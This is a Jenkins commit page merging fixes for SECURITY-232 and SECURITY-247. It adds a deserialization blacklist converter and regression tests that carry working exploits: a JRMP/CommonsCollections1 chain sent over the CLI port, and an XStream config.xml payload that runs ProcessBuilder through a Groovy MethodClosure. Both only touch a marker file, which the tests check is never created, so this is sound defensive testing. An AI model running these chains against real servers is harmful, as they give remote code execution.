提交 f4c22155 编写于 作者: J Jesse Glick

Merge branch 'security-stable-1.625' into security-stable-1.642

......@@ -47,6 +47,7 @@ import edu.umd.cs.findbugs.annotations.SuppressWarnings;
import hudson.PluginManager;
import hudson.PluginWrapper;
import hudson.diagnosis.OldDataMonitor;
import hudson.remoting.ClassFilter;
import hudson.util.xstream.ImmutableSetConverter;
import hudson.util.xstream.ImmutableSortedSetConverter;
import jenkins.model.Jenkins;
......@@ -159,6 +160,8 @@ public class XStream2 extends XStream {
// but before reflection-based one kicks in.
registerConverter(new AssociatedConverterImpl(this), -10);
registerConverter(new BlacklistedTypesConverter(), PRIORITY_VERY_HIGH); // SECURITY-247 defense
registerConverter(new DynamicProxyConverter(getMapper()) { // SECURITY-105 defense
@Override public boolean canConvert(Class type) {
return /* this precedes NullConverter */ type != null && super.canConvert(type);
......@@ -434,4 +437,30 @@ public class XStream2 extends XStream {
}
private static class BlacklistedTypesConverter implements Converter {
@Override
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new UnsupportedOperationException("Refusing to marshal for security reasons");
}
@Override
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Refusing to unmarshal for security reasons");
}
@Override
public boolean canConvert(Class type) {
if (type == null) {
return false;
}
try {
ClassFilter.DEFAULT.check(type);
ClassFilter.DEFAULT.check(type.getName());
} catch (SecurityException se) {
// claim we can convert all the scary stuff so we can throw exceptions when attempting to do so
return true;
}
return false;
}
}
}
......@@ -180,7 +180,7 @@ THE SOFTWARE.
<dependency>
<groupId>org.jenkins-ci.main</groupId>
<artifactId>remoting</artifactId>
<version>2.53.2</version>
<version>2.53.3-20160204.182851-2</version>
</dependency>
<dependency>
......
package hudson.util;
import hudson.model.Items;
import org.apache.commons.io.*;
import org.apache.commons.io.IOUtils;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.jvnet.hudson.test.Issue;
import org.jvnet.hudson.test.JenkinsRule;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
import javax.servlet.ServletInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import static org.junit.Assert.assertFalse;
import static org.mockito.Mockito.when;
public class XStream2Security247Test {
@Rule
public JenkinsRule j = new JenkinsRule();
@Rule
public TemporaryFolder f = new TemporaryFolder();
@Mock
private StaplerRequest req;
@Mock
private StaplerResponse rsp;
@Before
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
}
@Test
@Issue("SECURITY-247")
public void testXmlLoad() throws Exception {
File exploitFile = f.newFile();
try {
// be extra sure there's no file already
if (exploitFile.exists() && !exploitFile.delete()) {
throw new IllegalStateException("file exists and cannot be deleted");
}
File tempJobDir = new File(j.jenkins.getRootDir(), "security247");
String exploitXml = org.apache.commons.io.IOUtils.toString(
XStream2Security247Test.class.getResourceAsStream(
"/hudson/util/XStream2Security247Test/config.xml"), "UTF-8");
exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath());
FileUtils.write(new File(tempJobDir, "config.xml"), exploitXml);
try {
Items.load(j.jenkins, tempJobDir);
} catch (Exception e) {
// ignore
}
assertFalse("no file should be created here", exploitFile.exists());
} finally {
exploitFile.delete();
}
}
@Test
@Issue("SECURITY-247")
public void testPostJobXml() throws Exception {
File exploitFile = f.newFile();
try {
// be extra sure there's no file already
if (exploitFile.exists() && !exploitFile.delete()) {
throw new IllegalStateException("file exists and cannot be deleted");
}
File tempJobDir = new File(j.jenkins.getRootDir(), "security247");
String exploitXml = org.apache.commons.io.IOUtils.toString(
XStream2Security247Test.class.getResourceAsStream(
"/hudson/util/XStream2Security247Test/config.xml"), "UTF-8");
exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath());
when(req.getMethod()).thenReturn("POST");
when(req.getInputStream()).thenReturn(new Stream(IOUtils.toInputStream(exploitXml)));
when(req.getContentType()).thenReturn("application/xml");
when(req.getParameter("name")).thenReturn("foo");
try {
j.jenkins.doCreateItem(req, rsp);
} catch (Exception e) {
// don't care
}
assertFalse("no file should be created here", exploitFile.exists());
} finally {
exploitFile.delete();
}
}
private static class Stream extends ServletInputStream {
private final InputStream inner;
public Stream(final InputStream inner) {
this.inner = inner;
}
@Override
public int read() throws IOException {
return inner.read();
}
}
}
package jenkins.security;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import hudson.remoting.ClassFilter;
import hudson.remoting.JarLoader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UnicastRemoteObject;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import javax.net.SocketFactory;
import static jenkins.security.security218.Payload.CommonsCollections1;
import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
import static org.junit.Assert.*;
import org.junit.Rule;
import org.junit.Test;
import org.jvnet.hudson.test.Issue;
import org.jvnet.hudson.test.JenkinsRule;
import sun.reflect.ReflectionFactory;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastRef2;
import sun.rmi.server.Util;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.TransportConstants;
import sun.rmi.transport.tcp.TCPEndpoint;
/**
* @author mbechler, adapted for JUnit/JenkinsRule by jglick
*/
@Issue("SECURITY-232")
public class Security232Test {
@Rule
public JenkinsRule r = new JenkinsRule();
@Test
public void commonsCollections1() throws Exception {
File pwned = new File(r.jenkins.getRootDir(), "pwned");
int jrmpPort = 12345;
URL u = r.getURL();
HttpURLConnection hc = (HttpURLConnection) u.openConnection();
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
InetSocketAddress isa = new InetSocketAddress(u.getHost(), clip);
Socket s = null;
Channel c = null;
try {
System.err.println("* Opening socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool();
c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
reqCons.setAccessible(true);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
JarLoader.class.getName() + ".ours"
});
Object call = c.call((Callable<Object,Exception>) getJarLoader);
InvocationHandler remote = Proxy.getInvocationHandler(call);
Class<?> rih = Class.forName("hudson.remoting.RemoteInvocationHandler");
Field oidF = rih.getDeclaredField("oid");
oidF.setAccessible(true);
int oid = oidF.getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor();
uroC.setAccessible(true);
ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC);
sc.setAccessible(true);
UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance();
Field portF = UnicastRemoteObject.class.getDeclaredField("port");
portF.setAccessible(true);
portF.set(uro, jrmpPort);
Field f = RemoteObject.class.getDeclaredField("ref");
f.setAccessible(true);
f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", 12345), true)));
Object o = reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
try {
c.call((Callable<Object,Exception>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]]
e.printStackTrace();
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if ( start < 0 ) {
return; // good, got blocked before we even got this far
}
int sep = msg.indexOf(", ", start + 1);
if ( sep < 0 ) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if ( end < 0 ) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[ 0 ], 16);
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned);
}
c.close();
}
finally {
if ( s != null ) {
s.close();
}
}
Thread.sleep(5000);
assertFalse("Pwned!", pwned.exists());
}
/**
* @param inetSocketAddress
* @param obj
* @param o1
* @param o2
* @param o3
* @throws IOException
*/
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, ObjectPayload payload, String payloadArg )
throws Exception {
Socket s = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new ObjectOutputStream(dos) {
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
annotateClass(cl);
}
};
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
System.err.println("Running " + payload + " against " + ClassFilter.class.getProtectionDomain().getCodeSource().getLocation());
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
}
finally {
if ( s != null ) {
s.close();
}
}
}
}
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>@TOKEN@</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册